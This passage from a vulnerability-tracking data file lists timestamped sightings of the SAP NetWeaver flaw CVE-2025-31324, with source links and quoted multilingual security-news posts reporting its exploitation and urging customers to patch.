"https://bsky.app/profile/samilaiho.com/post/3lnpdboto5s2r", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "10797655-e319-474d-b4b9-6640cb337870", "url": "https://bsky.app/profile/samilaiho.com/post/3lnpdboto5s2r"}, {"timestamp": "2025-04-26T09:27:43.037Z", "date_only": false, "value": "2025-04-26T09:27:43.037679Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/royans.bsky.social/post/3lnpgc2hfzp2q", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c98d39db-a5a8-40ce-9b96-34e0be22b191", "url": "https://bsky.app/profile/royans.bsky.social/post/3lnpgc2hfzp2q"}, {"timestamp": "2025-04-26T11:18:05Z", "date_only": false, "value": "2025-04-26T11:18:05.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/itsec_news/5878", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9289e5b8-c1e1-4070-b563-73c55e55f2a5", "content": "\u200b\u26a1\ufe0fSAP \u0437\u0430\u0442\u043a\u043d\u0443\u043b \u0434\u044b\u0440\u0443 \u0432 10 \u0431\u0430\u043b\u043b\u043e\u0432, \u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430 \u0434\u0435\u043d\u044c\u0433\u0438\n\n\ud83d\udcacSAP \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0432\u043d\u0435\u043f\u043b\u0430\u043d\u043e\u0432\u044b\u0439 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 NetWeaver, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0435\u0439 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 10 \u0438\u0437 10. \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0431\u0430\u0433 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438 \u043a\u0430\u043a \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u0435\u043d\u044c, \u043d\u043e \u0441 \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c \u044d\u0442\u043e \u043d\u0435\u043b\u044c\u0437\u044f: \u043d\u0435\u043c\u0435\u0446\u043a\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u043b\u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0434\u0435\u043b\u0430\u0432 \u0438\u0445 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430 \u043f\u043b\u0430\u0442\u043d\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u043e\u0439 \u0434\u043b\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u2014 CVE-2025-31324 . \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043a\u0440\u0430\u0442\u043a\u043e\u043c\u0443 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u0432 \u041d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0421\u0428\u0410 (NVD), \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0431\u0435\u0437 \u043a\u043e\u0434\u0430 Visual Composer. \u0412 \u0431\u0430\u0437\u0435 NVD \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432 SAP NetWeaver Visual Composer \u043d\u0435 \u0437\u0430\u0449\u0438\u0449\u0451\u043d \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0435\u0439, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Onapsis, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0435\u0439\u0441\u044f \u043d\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 SAP-\u0441\u0440\u0435\u0434, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f. \u0425\u0430\u043a\u0435\u0440\u044b, \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0431\u0438\u0437\u043d\u0435\u0441-\u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u0432 SAP, \u0447\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u0442\u044c \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0431\u043e\u043a\u043e\u0432\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043f\u043e \u0441\u0435\u0442\u0438. Onapsis \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c SAP \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0439 \u0441\u0435\u0433\u043e\u0434\u043d\u044f, \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430.\n\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0440\u0430\u0442\u0438\u043b\u0438 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0441\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u043c\u0435\u0436\u0434\u0443 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 ReliaQuest, \u0432\u044b\u0448\u0435\u0434\u0448\u0435\u0439 \u0440\u0430\u043d\u0435\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435. \u0412 \u043d\u0435\u0439 \u0433\u043e\u0432\u043e\u0440\u0438\u043b\u043e\u0441\u044c \u043e \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \"\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432\" \u0441 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u043c SAP-\u0441\u0440\u0435\u0434 \u0432\u0435\u0431\u0448\u0435\u043b\u043b\u0430\u043c\u0438 \u043d\u0430 \u0431\u0430\u0437\u0435 JSP. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u0432\u0441\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438.\n\nReliaQuest \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430, \u0447\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0432\u0435\u0431\u0448\u0435\u043b\u043b\u044b \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445. \u0412 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043c\u043e\u0433\u043b\u0430 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u043b\u0438\u0431\u043e \u0441\u043e \u0441\u0442\u0430\u0440\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0432 NetWeaver (CVE-2017-9844, \u043e\u0446\u0435\u043d\u043a\u0430 9.8), \u043b\u0438\u0431\u043e \u0441 \u043d\u043e\u0432\u043e\u0439, \u0442\u043e\u0433\u0434\u0430 \u0435\u0449\u0451 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u043e\u0439. \u0412 \u0445\u043e\u0434\u0435 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0441\u0440\u0435\u0434\u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u043e\u0432 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 Brute Ratel, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0443 Heaven's Gate \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\nReliaQuest \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 \u0434\u0430\u043d\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u043e\u0431\u043e \u0446\u0435\u043d\u043d\u044b\u0445 \u0446\u0435\u043b\u0435\u0439. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 SAP \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438 \u0438 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0440\u0433\u0430\u043d\u044b \u0432\u043b\u0430\u0441\u0442\u0438 \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438, \u043b\u044e\u0431\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0442\u0430\u043a\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043b\u0430\u043a\u043e\u043c\u0443\u044e \u0446\u0435\u043b\u044c \u0434\u043b\u044f \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438.\n\n\ud83d\udd14 ITsec NEWS", "url": "https://t.me/itsec_news/5878"}, {"timestamp": "2025-04-26T11:59:39.490Z", "date_only": false, "value": "2025-04-26T11:59:39.490674Z", "kind": "sighting", "label": "Seen", "source": "https://poliverso.org/objects/0477a01e-69350ae9-263742efe1504aa4", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "44301f9c-251f-4eb6-9ab6-ddd449f9adfa", "url": "https://poliverso.org/objects/0477a01e-69350ae9-263742efe1504aa4"}, {"timestamp": "2025-04-26T12:00:46.386Z", "date_only": false, "value": "2025-04-26T12:00:46.386967Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hackread.bsky.social/post/3lnpotpnmfc2b", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0393cfdf-72c1-454c-bc1a-ea1602fb4a1f", "url": "https://bsky.app/profile/hackread.bsky.social/post/3lnpotpnmfc2b"}, {"timestamp": "2025-04-26T14:31:30Z", "date_only": false, "value": "2025-04-26T14:31:30.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-31324.yaml", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f3d3f7a4-c86d-42c8-9eca-2484aa04ef90", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2025/CVE-2025-31324.yaml"}, {"timestamp": "2025-04-26T18:57:12Z", "date_only": false, "value": "2025-04-26T18:57:12.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cKure/14578", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "92c4d3ec-9ea1-47f1-8013-c2c71d0106da", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 CVE-2025-31324: Emergency patch for potential SAP zero-day that could grant full system control.\n\nGerman software giant paywalls details, but experts piece together the clues.\n\nhttps://www.theregister.com/2025/04/25/sap_netweaver_patch/", "url": "https://t.me/cKure/14578"}, {"timestamp": "2025-04-26T19:20:02.480Z", "date_only": false, "value": "2025-04-26T19:20:02.480300Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lnqhf7wgc22x", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "848046ca-984c-464e-b60f-12ac0537c250", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3lnqhf7wgc22x"}, {"timestamp": "2025-04-26T19:40:17.220Z", "date_only": false, "value": "2025-04-26T19:40:17.220656Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lnqijgbcw22x", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "036aff8c-fea1-422d-b0a9-545bb961d975", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3lnqijgbcw22x"}, {"timestamp": "2025-04-26T21:02:12.324Z", "date_only": false, "value": "2025-04-26T21:02:12.324975Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lnqn3vks472c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2664c07c-6116-4f6c-8a4c-abdd59a7b4f4", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lnqn3vks472c"}, {"timestamp": "2025-04-27T00:00:00Z", "date_only": false, "value": "2025-04-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-27)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1383bcea-88e5-423e-a6ac-0a9dd71ec2b3"}, {"timestamp": "2025-04-27T01:34:37.964Z", "date_only": false, "value": "2025-04-27T01:34:37.964025Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lnr4cvwtcc26", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5df053b1-e9f3-4422-b660-dee2e56a7c7b", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lnr4cvwtcc26"}, {"timestamp": "2025-04-27T02:18:49.927Z", "date_only": false, "value": "2025-04-27T02:18:49.927364Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lnr6s3bus226", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9d8077eb-aaa7-4356-b4fb-67e28cf26c13", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lnr6s3bus226"}, {"timestamp": "2025-04-27T02:27:37.547Z", "date_only": false, "value": "2025-04-27T02:27:37.547357Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lnr7bnac6c26", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6c30636a-d018-48e2-b07d-510a3d14f61e", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lnr7bnac6c26"}, {"timestamp": "2025-04-27T07:16:09Z", "date_only": false, "value": "2025-04-27T07:16:09.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/HackerNewscyber/2038", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6e20a7b4-aca8-40dc-8b7f-53c71e4fc4b6", "content": "\ud83e\udd77\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc \u062f\u0631 \u0645\u062d\u0635\u0648\u0644 SAP NetWeaver  \n\n\u26aa\ufe0f\u0634\u0631\u06a9\u062a SAP \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f \u06cc\u06a9 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0628\u062d\u0631\u0627\u0646\u06cc (\u0628\u0627 \u062e\u0637\u0631\u067e\u0630\u06cc\u0631\u06cc \u06f1\u06f0 \u0627\u0632 \u06f1\u06f0) \u062f\u0631 \u0645\u062d\u0635\u0648\u0644 NetWeaver Visual Composer \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u062d\u0641\u0631\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2025-31324 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u062f\u0647\u062f \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a\u060c \u0641\u0627\u06cc\u0644\u200c\u0647\u0627\u06cc \u0645\u062e\u0631\u0628 \u0622\u067e\u0644\u0648\u062f \u06a9\u0631\u062f\u0647 \u0648 \u0628\u0627 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631\u060c \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u0633\u06cc\u0633\u062a\u0645\u200c\u0647\u0627\u06cc \u0642\u0631\u0628\u0627\u0646\u06cc\u0627\u0646 \u0631\u0627 \u0628\u0647 \u062f\u0633\u062a \u0628\u06af\u06cc\u0631\u0646\u062f.  \n\n\u26aa\ufe0f\u0628\u0631 \u0627\u0633\u0627\u0633 \u06af\u0632\u0627\u0631\u0634 \u0647\u0627\u060c \u0647\u06a9\u0631\u0647\u0627 \u0647\u0645 \u0627\u06cc\u0646\u06a9 \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0631\u0627\u06cc \u0646\u0635\u0628 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0631 \u0633\u0627\u0632\u0645\u0627\u0646\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u06a9\u0646\u0646\u062f. SAP \u0628\u0627 \u0627\u0646\u062a\u0634\u0627\u0631 \u06cc\u06a9 \u0628\u0647 \u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0627\u0636\u0637\u0631\u0627\u0631\u06cc \u0627\u0632 \u062a\u0645\u0627\u0645 \u0645\u0634\u062a\u0631\u06cc\u0627\u0646 \u062e\u0648\u0627\u0633\u062a\u0647 \u0627\u0633\u062a \u0627\u06cc\u0646 \u0648\u0635\u0644\u0647 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0631\u0627 \u0641\u0648\u0631\u0627\u064b \u0646\u0635\u0628 \u06a9\u0646\u0646\u062f.\n\n\ud83d\udc9c @HackerNewsCyber", "url": "https://t.me/HackerNewscyber/2038"}, {"timestamp": "2025-04-27T07:52:39.839Z", "date_only": false, "value": "2025-04-27T07:52:39.839074Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/zerodaily.me/post/3lnrrgws3dk26", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "28b6eb9a-977a-42e2-9585-cec2f61c77c0", "url": "https://bsky.app/profile/zerodaily.me/post/3lnrrgws3dk26"}, {"timestamp": "2025-04-27T08:07:57Z", "date_only": false, "value": "2025-04-27T08:07:57.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CyberSecurityIL/68875", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ff41d905-41c5-4f8a-aa51-efe7275c829e", "content": "\u05d7\u05d1\u05e8\u05ea SAP \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05e2\u05dc \u05e4\u05e8\u05e6\u05ea \u05d0\u05d1\u05d8\u05d7\u05d4 \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea (\u05d3\u05d9\u05e8\u05d5\u05d2 \u05e1\u05d9\u05db\u05d5\u05df 10.0) \u05d1\u05de\u05d5\u05e6\u05e8 NetWeaver Visual Composer, \u05d4\u05de\u05e0\u05d5\u05e6\u05dc\u05ea \u05d1\u05e4\u05d5\u05e2\u05dc \u05e2\u05dc \u05d9\u05d3\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05de\u05e1\u05d1\u05d9\u05d1 